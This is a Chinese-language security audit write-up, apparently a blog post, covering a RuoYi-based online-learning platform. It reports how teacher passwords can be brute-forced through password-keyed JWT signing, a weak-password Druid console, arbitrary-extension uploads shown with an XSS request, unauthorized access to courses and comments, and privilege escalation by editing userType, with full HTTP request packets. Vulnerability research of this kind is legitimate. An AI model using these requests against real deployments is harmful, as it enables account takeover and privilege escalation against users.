这是25年的一个基于若依二开的闭源新项目,且组件库都较新。

环境搭建

1.后端采用springboot+mysql+redis,我们修改一下数据库账号密码,导入一下表,开启mysql和redis即可:

2.前端是vue2写的,有两部分:learn_front-master和learn_front_mange-master,分别对应前台和管理后台。

由于是vue2,因此采用npm run serve启动:

鉴权分析

1.在learn_server-master/ape-framework/src/main/java/com/ape/apeframework/config中,我们发现了大量的配置,其中ShiroConfig和JwtToken也直接说明了该项目采用shiro+jwt的模式进行鉴权。

2.可以看到,这里放行了注册登录界面,以及一些需要调用的静态资源接口,如学校名称列表,用户头像等等。

除此之外,其它的路由都需要通过jwt进行验证。

3.跟进JwtFilter函数,

@SneakyThrows
@Override
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
    HttpServletResponse httpServletResponse = (HttpServletResponse)response;
    try {
        executeLogin(request, response);
    } catch (IncorrectCredentialsException e) {
        JSONObject json = new JSONObject();
        json.put("code",1011);
        json.put("message",e.getMessage());
        json.put("timeStamp",System.currentTimeMillis());
        RequestUtils.returnJson(httpServletResponse,json.toJSONString());
        return false;
    } catch (LockedAccountException e) {
        JSONObject json = new JSONObject();
        json.put("code",1009);
        json.put("message",e.getMessage());
        json.put("timeStamp",System.currentTimeMillis());
        RequestUtils.returnJson(httpServletResponse,json.toJSONString());
        return false;
    } catch (UnknownAccountException e) {
        JSONObject json = new JSONObject();
        json.put("code",1008);
        json.put("message",e.getMessage());
        json.put("timeStamp",System.currentTimeMillis());
        RequestUtils.returnJson(httpServletResponse,json.toJSONString());
        return false;
    } catch (AuthenticationException e) {
        JSONObject json = new JSONObject();
        json.put("code",1006);
        json.put("message",e.getMessage());
        json.put("timeStamp",System.currentTimeMillis());
        RequestUtils.returnJson(httpServletResponse,json.toJSONString());
        return false;
    }
    return true;
}

@Override
protected boolean executeLogin(ServletRequest request, ServletResponse response) {
    HttpServletRequest httpServletRequest = (HttpServletRequest) request;
    String token = JwtUtil.getTokenByRequest(httpServletRequest);
    JwtToken jwtToken = new JwtToken(token);
    // 提交给realm进行登入,如果错误他会抛出异常并被捕获
    getSubject(request, response).login(jwtToken);
    // 如果没有抛出异常则代表登入成功,返回true
    return true;
}

可以看到,想要通过jwt验证,就必须让executeLogin函数返回true。

重点在于getSubject(request, response).login(jwtToken);这个是shiro的特定代码,用于提交给realm进行验证。

4.我们跟进ShiroRealm类:

很清晰的逻辑,都是来判断JwtToken是否合法的。

漏洞挖掘

基于jwt的密码爆破

1.就在刚刚ShiroRealm的代码中,可以看到,JwtUtil签名的关键语句:

JwtUtil.sign(userId, password);

2.跟进JwtUtil.sign函数:

public static String sign(String userId, String userPhone) {
        Algorithm algorithm = Algorithm.HMAC256(userPhone);
        // 附带userId信息  可以将user信息转成map存到这里
        //String token = JWT.create().withClaim("userId", userId).withExpiresAt(date).sign(algorithm);
        String token = JWT.create().withClaim("userId", userId).sign(algorithm);
        stringRedisTemplate.opsForValue().set(Constants.PREFIX_USER_TOKEN + userId, token, days, TimeUnit.DAYS);
        return token;
    }

可以发现,jwt是通过加密userId和password获得的,我们只需要获得userId,然后根据代码中写好的算法加密,爆破password即可,且这种爆破极难进行侦察,并不是在登录框进行的爆破,而是通过改变JwtToken访问正常页面进行的。

3.因此,我们需要去获得userId。很巧的是,我们在教师列表中,点进去查看每个教师,就可以获得每个教师的userId:

4.至此,我们可以成功在几乎无感的情况下爆破所有老师的密码。

druid越权访问+弱口令

1.正常访问druid的登录界面,会提示没有token,无法访问:

2.我们可以先通过register路由注册一个用户进行登录获取token:

3.我们携带token进行访问:

4.问题在于这是我们注册的一个普通用户,按道理来说应该无法访问druid界面,因此此处为一个越权。

5.翻开配置文件application-dev.yml,发现druid为弱口令,我们可以通过弱口令登录druid后台:

前台任意文件后缀上传

1.全局搜索upload,找到了文件上传所在控制器CommonController:

@Controller
@ResponseBody
@RequestMapping("common")
public class CommonController {

    /**
    * @description: 错误转发地址
    * @param: code
    	msg
    * @return:
    * @author xxxx
    * @date:  2025/9/14 15:05
    */
    @GetMapping("/error/{code}/{msg}")
    public Result error (@PathVariable("code")Integer code, @PathVariable("msg") String msg){
        return Result.alert(code,msg);
    }

    /**
     * @description: 上传图片
     * @param: file
     * @return:
     * @author xxxx
     * @date:  2025/10/13 10:44
     */
    @PostMapping("uploadImg")
    public Result uploadImg(@RequestParam("file") MultipartFile img) {
        if(img.isEmpty()){
            return Result.fail("上传的图片不能为空!");
        }
        String coverType = img.getOriginalFilename().substring(img.getOriginalFilename().lastIndexOf(".") + 1).toLowerCase();
        if ("jpeg".equals(coverType)  || "gif".equals(coverType) || "png".equals(coverType) || "bmp".equals(coverType)  || "jpg".equals(coverType)) {
            //文件名=当前时间到毫秒+原来的文件名
            int index = img.getOriginalFilename().lastIndexOf(".");
            String substring = img.getOriginalFilename().substring(index);
            String fileName = System.currentTimeMillis() + substring;
            //文件路径
            String filePath = System.getProperty("user.dir")+System.getProperty("file.separator")+"img";
            //如果文件路径不存在,新增该路径
            File file1 = new File(filePath);
            if(!file1.exists()){
                boolean mkdir = file1.mkdir();
            }
            //实际的文件地址
            File dest = new File(filePath + System.getProperty("file.separator") + fileName);
            //存储到数据库里的相对文件地址
            String storeImgPath = "/img/"+fileName;
            try {
                img.transferTo(dest);
                return Result.success(storeImgPath);
            } catch (IOException e) {
                return Result.fail("上传失败");
            }
        } else {
            return Result.fail("请选择正确的图片格式");
        }
    }

    /**
     * @description: 上传视频
     * @param: file
     * @return:
     * @author xxxx
     * @date:  2025/10/13 10:44
     */
    @PostMapping("uploadVideo")
    public Result uploadVideo(@RequestParam("file") MultipartFile file) {
        if(file.isEmpty()){
            return Result.fail("上传的视频不能为空!");
        }
        //文件名=当前时间到毫秒+原来的文件名
        int index = file.getOriginalFilename().lastIndexOf(".");
        String substring = file.getOriginalFilename().substring(index);
        String fileName = System.currentTimeMillis() + substring;
        //文件路径
        String filePath = System.getProperty("user.dir")+System.getProperty("file.separator")+"video";
        //如果文件路径不存在,新增该路径
        File file1 = new File(filePath);
        if(!file1.exists()){
            boolean mkdir = file1.mkdir();
        }
        //实际的文件地址
        File dest = new File(filePath + System.getProperty("file.separator") + fileName);
        //存储到数据库里的相对文件地址
        String storeVideoPath = "/video/"+fileName;
        try {
            file.transferTo(dest);
            Result success = Result.success(storeVideoPath);
            success.setData(fileName);
            return success;
        } catch (IOException e) {
            return Result.fail("上传失败");
        }
    }

    /**
    * @description: 上传文件
    * @param: file
    * @return:
    * @author xxxx
    * @date:  2025/10/13 10:44
    */
    @PostMapping("uploadFile")
    public Result uploadFile(@RequestParam("file") MultipartFile file) {
        if(file.isEmpty()){
            return Result.fail("上传的文件不能为空!");
        }
        //文件名=当前时间到毫秒+原来的文件名
        int index = file.getOriginalFilename().lastIndexOf(".");
        String substring = file.getOriginalFilename().substring(index);
        String fileName = System.currentTimeMillis() + substring;
        //文件路径
        String filePath = System.getProperty("user.dir")+System.getProperty("file.separator")+"file";
        //如果文件路径不存在,新增该路径
        File file1 = new File(filePath);
        if(!file1.exists()){
            boolean mkdir = file1.mkdir();
        }
        //实际的文件地址
        File dest = new File(filePath + System.getProperty("file.separator") + fileName);
        //存储到数据库里的相对文件地址
        String storeFilePath = "/file/"+fileName;
        try {
            file.transferTo(dest);
            Result success = Result.success(storeFilePath);
            success.setData(fileName);
            return success;
        } catch (IOException e) {
            return Result.fail("上传失败");
        }
    }

}

2.可以看到只有uploadImg路由对文件后缀进行了白名单限制,uploadVideo路由和uploadFile路由都可以上传任意后缀,我们以uploadFile路由为例,构造文件上传的数据包:

POST /common/uploadFile HTTP/1.1
Host: localhost:8080
Content-Length: 215
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryocKiwfXZaEBN6BcL
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:3001
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

------WebKitFormBoundaryocKiwfXZaEBN6BcL
Content-Disposition: form-data; name="file"; filename="xss.html"
Content-Type: image/svg+xml

<script>alert(1)</script>
------WebKitFormBoundaryocKiwfXZaEBN6BcL--

3.我们访问得到的文件路径,成功前台xss:

4.由于这里上传文件的目录为静态文件目录,而spring框架中自带的file.getOriginalFilename()方法会进行路径的规范化处理,导致我们无法通过../进行目录穿越,因此虽然能够上传jsp/jspx文件,但是无法解析,只能下载:

未授权访问

1.首先进入某一个课程界面,进行报名,可以看到,如果教师未通过是无法访问课程内容的:(test3用户)

2.我们通过教师账号在后台通过后,是可以查看章节内容的:(test2用户)

3.此时,我们直接将test2用户的链接拿去给test3用户使用,发现也是可以访问到章节内容的:

这就造成了未授权访问教师未允许观看的课程。

4.抓包进行验证,发现了调用了/task/getApeTaskById路由:

5.我们在idea中全局搜索getApeTaskById,发现没用进行任何验证,直接返回了课程内容:

6.该Controller的其他路由也没有进行验证,如未授权进行评论:

正常情况下是无法进行评论的:

但是我们只需要抓到test2用户评论的数据包,再替换为test3用户的token进行重放即可未授权评论:

垂直越权

1.漏洞点出现在修改个人信息的地方,如图,点击保存进行抓包:

数据包如下:

POST /user/setUserInfo HTTP/1.1
Host: localhost:8080
Content-Length: 730
sec-ch-ua-platform: "Windows"
x_access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIyMDIyNDg1OTU0NTQ3MTU5MDQxIn0.picyKc7czzyDbFuORlyJO9qxLqvoTb1M7wTydfDG5S8
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://127.0.0.1:3001
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"createBy":null,"createTime":"2026-02-14 01:40:02","updateBy":"test2","updateTime":"2026-02-14 08:23:07","id":"2022485954547159041","postId":null,"idArrary":null,"deptId":null,"userName":"test2","loginAccount":"test2","userType":0,"email":"test@qq.com","tel":"13800000001","sex":"0","avatar":"/img/avatar.jpg","password":"c30f2e1e21e149879f407790dc06918f","salt":"65be739926e055b3fcb66c36d68b1d6c","status":0,"loginIp":null,"loginDate":null,"pwdUpdateDate":"2026-02-14 01:40:02","school":"山东大学","country":null,"major":"软件工程","agree":null,"age":null,"birth":null,"flair":null,"address":null,"workDate":null,"delFlag":0,"remark":null,"deptName":null,"pageNumber":null,"pageSize":null,"roleIds":null,"_t":1771059688}

2.我们在idea中全局搜索setUserInfo:

哇,这里依旧没有做任何鉴权,我们可以修改ApeUser实体的任何字段:

@Data
@EqualsAndHashCode(callSuper = true)
@AllArgsConstructor
@NoArgsConstructor
@Accessors(chain = true)
@TableName("ape_user")
public class ApeUser extends BaseEntity {

    private static final long serialVersionUID = 1L;

    @TableId(value = "id", type = IdType.ASSIGN_ID)
    private String id;

    /**
     * 部门数组
     */
    private String postId;

    /**
     * 部门数组
     */
    private String idArrary;

    /**
    * 部门id
    */
    private String deptId;

    /**
     * 用户名
     */
    private String userName;

    /**
     * 登陆账号
     */
    private String loginAccount;

    /**
     * 用户类型
     */
    private Integer userType;

    /**
     * 邮箱
     */
    private String email;

    /**
     * 电话
     */
    private String tel;

    /**
     * 性别
     */
    private Integer sex;

    /**
     * 头像
     */
    private String avatar;

    /**
     * 密码
     */
    private String password;

    /**
     * 盐
     */
    private String salt;

    /**
     * 状态
     */
    private Integer status;

    /**
     * ip
     */
    private String loginIp;

    /**
     * 登陆日期
     */
    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    private Date loginDate;

    /**
     * 修改密码日期
     */
    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    private Date pwdUpdateDate;

    /**
     * 学校
     */
    private String school;

    /**
     * 国家
     */
    private String country;

    /**
     * 专业
     */
    private String major;

    /**
     * 职称
     */
    private String agree;

    /**
     * 年龄
     */
    private Integer age;

    /**
     * 年龄
     */
    @JsonFormat(pattern = "yyyy-MM-dd")
    @DateTimeFormat(pattern = "yyyy-MM-dd")
    private Date birth;

    /**
     * 资质
     */
    private String flair;

    /**
     * 地址
     */
    private String address;

    /**
     * 参加工作时间
     */
    private Integer workDate;

    /**
     * 删除标志
     */
    @TableLogic
    private Integer delFlag;

    private String remark;

    @TableField(exist = false)
    private String deptName;

    @TableField(exist = false)
    private Integer pageNumber;

    @TableField(exist = false)
    private Integer pageSize;

    @TableField(exist = false)
    private List<String> roleIds;

}

3.这里最重要的莫过于private Integer userType; 这个字段,我们通过查看数据库可知,userType=0代表管理员,userType=1代表教师,userType=2代表学生。

4.然后,我们竟然可以在请求数据包中自己修改userType,那么我们直接修改为1,岂不就成为了教师:

POST /user/setUserInfo HTTP/1.1
Host: localhost:8080
Content-Length: 730
sec-ch-ua-platform: "Windows"
x_access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIyMDIyNDg1OTU0NTQ3MTU5MDQxIn0.picyKc7czzyDbFuORlyJO9qxLqvoTb1M7wTydfDG5S8
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://127.0.0.1:3001
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3001/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"createBy":null,"createTime":"2026-02-14 01:40:02","updateBy":"test2","updateTime":"2026-02-14 08:23:07","id":"2022485954547159041","postId":null,"idArrary":null,"deptId":null,"userName":"test2","loginAccount":"test2","userType":1,"email":"test@qq.com","tel":"13800000001","sex":"0","avatar":"/img/avatar.jpg","password":"c30f2e1e21e149879f407790dc06918f","salt":"65be739926e055b3fcb66c36d68b1d6c","status":0,"loginIp":null,"loginDate":null,"pwdUpdateDate":"2026-02-14 01:40:02","school":"山东大学","country":null,"major":"软件工程","agree":null,"age":null,"birth":null,"flair":null,"address":null,"workDate":null,"delFlag":0,"remark":null,"deptName":null,"pageNumber":null,"pageSize":null,"roleIds":null,"_t":1771059688}

也是成功作为教师挂在了主页上: